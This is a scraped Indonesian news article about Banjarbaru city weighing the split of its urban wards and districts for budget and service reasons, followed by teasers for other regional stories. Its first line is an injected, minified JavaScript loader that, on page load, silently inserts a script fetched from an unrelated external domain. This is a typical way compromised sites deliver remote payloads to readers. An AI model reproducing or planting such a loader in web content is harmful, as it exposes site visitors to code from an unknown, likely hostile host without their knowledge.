(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota Banjarbaru mematangkan kajian rencana pemekaran kelurahan dan kecamatan yang ada di Kota Banjarbaru, Provinsi Kalimantan Selatan.
Saat ini Kota Banjarbaru memiliki lima kecamatan yang di dalamnya terdiri dari 20 kelurahan.
Menurut kajian oleh Tim Lembaga Penelitian dan Pengabdian kepada Masyarakat (LPPM) Universitas Lambung Mangkurat (ULM), tiap kelurahan di Kota Banjarbaru memungkinkan untuk dilakukan pemekeran.
Baca juga: Perkuat Fungsi Mal Pelayanan Publik, Pemkab HSU Teken MoU dengan Kementerian dan Lembaga
Paparan kajian disampaikan Tim LPPK ULM dapat rapat koordinasi bersama sejumlah SKPD di lingkup Pemerintah Kota Banjarbaru, Senin (24/11/2025).
Dari kesimpulan kajian didapati Kota Banjarbaru memenuhi syarat pemekaran sesuai dengan Peraturan Pemerintah (PP) Nomor 17 tahun 2018, terutama pada level kelurahan seperti Kelurahan Guntung Manggis, Kelurahan Landasan Ullin Utara, dan. KelurahanLoktabat Utara yang telah melampaui batas minimal penduduk dan luas wilayah serta selaras dengan RTRW.
Salah satu opsinya adalah, pemerintah dapat memulai pemekaran Rukun Tetangga (RT) padat sebagai dasar pembentukan kelurahan.
Baca juga: GSMS Meriahkan Penutupan Festival Budaya Banjar 2025
Opsi kedua seperti pembentukan kelurahan prioritas, dan opsi ketiga memecah salah satunya seperti Kecamatan Landasan Ulin menjadi 10 kelurahan dengan proyeksi dua kecamatan.
Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni mengatakan, sejumlah fokus akan dilakukan pemerintah untuk mendukung wacana pemekaran kelurahan di Kota Banjarbaru.
“Jadi memang seluruh kelurahan di Kota Banjarbaru ini memungkinkan untuk dimekarkan, tetapi memang ada hal mungkin yang perlu dipertimbangkan lagi,” ujar Sekda Kota Banjarbaru, Sirajoni, Senin (24/11/2025).
Baca juga: Cuaca Ancam Keberhasilan Tanaman Padi dan Hortikultura, Ini Upaya DPKP Kalsel
Pertimbangan seperti dari aspek wilayah, penduduk dan insfrastruktur menurutnya harus dipikirkan pemerintah kota terlebih dahulu sebelum pemekaran wilayah dilakukan.
“Selanjutnya untuk melaksanakan aturan yang mengatur setiap kecamatan itu minimal harus memiliki lebih dari empat kelurahan juga menjadi fokus kita, kemudian apakah mungkin kita laksanakan di tahun 2026 atau bagaimana,” jelas dia.
Pemerintah kota akan kembali melihat kemampuan daerah untuk bisa melakukan pemekaran kelurahan maupun kecamatan.
Baca juga: Malam Puncak IMAA 2025: Ajang Penghargaan Tertinggi Perfilman Indonesia Kembali Hadir di RCTI!
“Karena menyiapkan infrastrukturnya, dan mungkin hal-hal lainnya juga yang mendukung terhadap satu kecamatan atau kelurahan yang baru,” tambahnya.
Mengingat adanya keterbatasaan anggaran atau kemampuan daerah di Banjarbaru, ia mengatakan paling tidak pemerintah dapat memikirkan alternatif lain, seperti pemekaran rukun tetangga (RT).
“Jadi kendala juga anggaran, makanya mungkin tahapannya yang perlu kita pikirkan itu adalah bagaimana RT-RT ini dimekarkan dulu,” ungkapnya lagi.
Sekda Banjarbaru meminta SKPD terkait dapat mengkaji berapa besaran biaya yang harus disiapkan untuk melakukan pemekaran tersebut.
“Dari pemekaran ini utamanya adalah kita ingin mendekatkan pelayanan kepada masyarakat, sehingga masyarakat semakin mudah mendapatkan pelayanan dari aparat pemerintahan dari kelurahan maupun kecamatan yang dimekarkan,” tutup Sirajoni. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.